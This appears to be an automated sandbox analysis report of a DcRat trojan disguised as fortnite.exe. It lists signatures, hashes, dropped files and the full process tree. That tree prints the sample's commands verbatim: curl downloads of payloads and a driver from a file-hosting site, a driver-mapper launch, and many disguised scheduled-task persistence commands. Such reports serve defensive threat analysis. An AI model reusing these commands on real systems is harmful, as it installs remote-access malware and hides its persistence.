Analysis

  • max time kernel
    55s
  • max time network
    58s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-11-2024 19:28

General

  • Target

    fortnite.exe

  • Size

    1.2MB

  • MD5

    4ce2034a29fa1119013b35414ac146c8

  • SHA1

    1bc3b7ff47f254f3058f8030e7081d48e762b1fc

  • SHA256

    01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f

  • SHA512

    9ff48316eff7b1cf2317ce9c363b596a42100c0f2ff3c17f06c3efe8f3f4b8de93072f594c4dfc7f7cdbf9b4c768643448141ca78bab4db28122f88d3ad64e27

  • SSDEEP

    24576:zMbpm9Z/zQfnkuGKF7rlpC+bKlAtc06Du:PrQnIGz

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 6 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:1780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:776
        • C:\Windows\system32\curl.exe
          curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
          3⤵
          • Drops file in Windows directory
          PID:3788
      • C:\Windows\Speech\physmeme.exe
        "C:\Windows\Speech\physmeme.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:4124
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe"
          3⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3416
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat" "
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1744
            • C:\Medal\Medal.exe
              "C:\Medal/Medal.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Drops file in Windows directory
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3032
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\pjGtyYN45Q.bat"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3168
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  7⤵
                    PID:4520
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    7⤵
                      PID:3672
                    • C:\Program Files (x86)\Common Files\Java\Java Update\fortnite.exe
                      "C:\Program Files (x86)\Common Files\Java\Java Update\fortnite.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4836
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys >nul 2>&1
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4676
            • C:\Windows\system32\curl.exe
              curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys
              3⤵
              • Drops file in System32 directory
              PID:1756
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/wvsaqx.bin --output C:\Windows\System32\Tasks\mapper.exe >nul 2>&1
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5080
            • C:\Windows\system32\curl.exe
              curl --silent https://files.catbox.moe/wvsaqx.bin --output C:\Windows\System32\Tasks\mapper.exe
              3⤵
              • Drops file in System32 directory
              PID:3976
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1560
            • C:\Windows\System32\Tasks\mapper.exe
              C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
              3⤵
              • Executes dropped EXE
              PID:2096
        • C:\Windows\system32\taskmgr.exe
          "C:\Windows\system32\taskmgr.exe" /4
          1⤵
          • Checks SCSI registry key(s)
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1408
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Program Files\Java\jdk-1.8\csrss.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1020
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Java\jdk-1.8\csrss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1816
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\jdk-1.8\csrss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4892
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 13 /tr "'C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\MoUsoCoreWorker.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3316
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\MoUsoCoreWorker.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2372
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 8 /tr "'C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\MoUsoCoreWorker.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:404
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "fortnitef" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Common Files\Java\Java Update\fortnite.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1920
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "fortnite" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Java\Java Update\fortnite.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2952
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "fortnitef" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Common Files\Java\Java Update\fortnite.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1840
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Medal\explorer.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3360
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Medal\explorer.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2720
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 13 /tr "'C:\Medal\explorer.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2812
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Windows\Microsoft.NET\Framework64\3082\smss.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3828
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\Microsoft.NET\Framework64\3082\smss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:872
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Windows\Microsoft.NET\Framework64\3082\smss.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2136
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 9 /tr "'C:\Medal\Medal.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4124
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "Medal" /sc ONLOGON /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3128
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 11 /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2344

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat

          Filesize

          63B

          MD5

          e24619181276af563705f4b1bed29490

          SHA1

          fddac27290319f69543f5330fe97c122a8a01376

          SHA256

          eee937e02edcd36de3ed7658c9ad9d79844502c8553a7c244b2b154aa9ffec05

          SHA512

          1898a5e2a52f2f34466dfd9e1b1149b36052874b6be432dd9301ecfa6bc3a964dca6980b8db54ddcf8ef24a95792efcaffeb09aceb7a04304a0d18f4d0ce0591

        • C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe

          Filesize

          224B

          MD5

          96d43070e1e39d421c53a2f8dca13fc6

          SHA1

          07417cccceddbf8d5f5b48dec0b2e08d53a4754f

          SHA256

          0dab986e5c533631946e27cdbb5147e68b9eb3008c1add60d21a59cd7d964314

          SHA512

          9fc0ee5ac42bca7c7ee7584baa5be6907fc750378d037d56e075a21c4fe8eaeb3efac3e9fb6087a70a6ad01dcebf05d2462f2463daa8063b4047c11e5364d398

        • C:\Medal\Medal.exe

          Filesize

          1.8MB

          MD5

          4f66bbfed3a524398bd0267ed974ccbc

          SHA1

          b2567397dc823412d87a23428c7833ff74586b7d

          SHA256

          fa05b7f28eb1df0447998b89a08aa96453b0f3240c31489900d178862eaa80d8

          SHA512

          bc4de61adb5f56c66043a2617ebfcc9f4e82d36e48dbdc9178695f9466d554eb364d69829490ff43100e8cb457ce7e78b2e277a3cf1733edf32c0154e6f56d9f

        • C:\Users\Admin\AppData\Local\Temp\pjGtyYN45Q.bat

          Filesize

          241B

          MD5

          455f6185faee0c13507a0fbeeaef3a65

          SHA1

          ba16cd19a44fbc19b4f7ac69ed330c774857c907

          SHA256

          a1e6c1ef5204d5b2c576c9f85f848aa44862735e670c0719ecc3e6084943121a

          SHA512

          6be0ac00324aea63e26bb722642937d5e493ee7a9b14f53a57fba2a933d73c8941b68b11f9aa3673fe6350efd6967a5e0caa0dd6615a37586851e965b49309a5

        • C:\Windows\Speech\physmeme.exe

          Filesize

          2.1MB

          MD5

          f4620c0afa8e21897509b2e7215097f5

          SHA1

          af216ca6105e271a3fb45a23c10ee7cf3158b7e1

          SHA256

          8daf7dcdf256d7de40d33e5550dc5e8bbf887b8c4b7f49c79a15c96dad867f82

          SHA512

          68b875acc06d9c3796f49377b5b25a5e8b9a380221eea59e4274249ca7d2bff10c3fc5edf50eae5da726afea882e0e777af86af25be7b57c8fbfd70448d8d7dd

        • C:\Windows\System32\Tasks\driver.sys

          Filesize

          12KB

          MD5

          10a7579c03da9baac0f2efc69673d8c2

          SHA1

          acd27171757c05216665a332450f0604b33b07d5

          SHA256

          797c199601f2dcee255c24da2507ba435f03dcee0fdadbe348023aa75ebb2ad3

          SHA512

          a9cb4c7765e34bb3d8dc1356e37dfeca72e713731c036a3eb48bf69daac6c1f45910409e24ec01e1b13cd9d5d0cad708f1483cd83dcec00566cb307652fe7233

        • C:\Windows\System32\Tasks\mapper.exe

          Filesize

          530KB

          MD5

          54ed683eba9340abf6783bd8d7b39445

          SHA1

          950e3c11c71354097c8440529b31f8ac2b3c32a8

          SHA256

          2d0a9d5ca563ffa82a974903bb43411b22c863311ec926449f08d16f483e4e70

          SHA512

          9ff8c110823bad1e0a79a810b151e1d5557022080af0c8aaa9ff76996bd040747346f62459c50468cf86f49389c0e5fb7f057e9bd30fa31fed49ae5692d50ae2

        • memory/1408-23-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-12-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-20-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-19-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-18-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-22-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-17-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-11-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-13-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/1408-21-0x000001C747FD0000-0x000001C747FD1000-memory.dmp

          Filesize

          4KB

        • memory/2096-66-0x00007FF69AEF0000-0x00007FF69AFA1000-memory.dmp

          Filesize

          708KB

        • memory/2096-68-0x00007FF69AEF0000-0x00007FF69AFA1000-memory.dmp

          Filesize

          708KB

        • memory/3032-33-0x000000001C040000-0x000000001C090000-memory.dmp

          Filesize

          320KB

        • memory/3032-35-0x000000001BFF0000-0x000000001C008000-memory.dmp

          Filesize

          96KB

        • memory/3032-37-0x00000000027B0000-0x00000000027BE000-memory.dmp

          Filesize

          56KB

        • memory/3032-32-0x000000001BFD0000-0x000000001BFEC000-memory.dmp

          Filesize

          112KB

        • memory/3032-30-0x00000000027A0000-0x00000000027AE000-memory.dmp

          Filesize

          56KB

        • memory/3032-28-0x0000000000430000-0x000000000060E000-memory.dmp

          Filesize

          1.9MB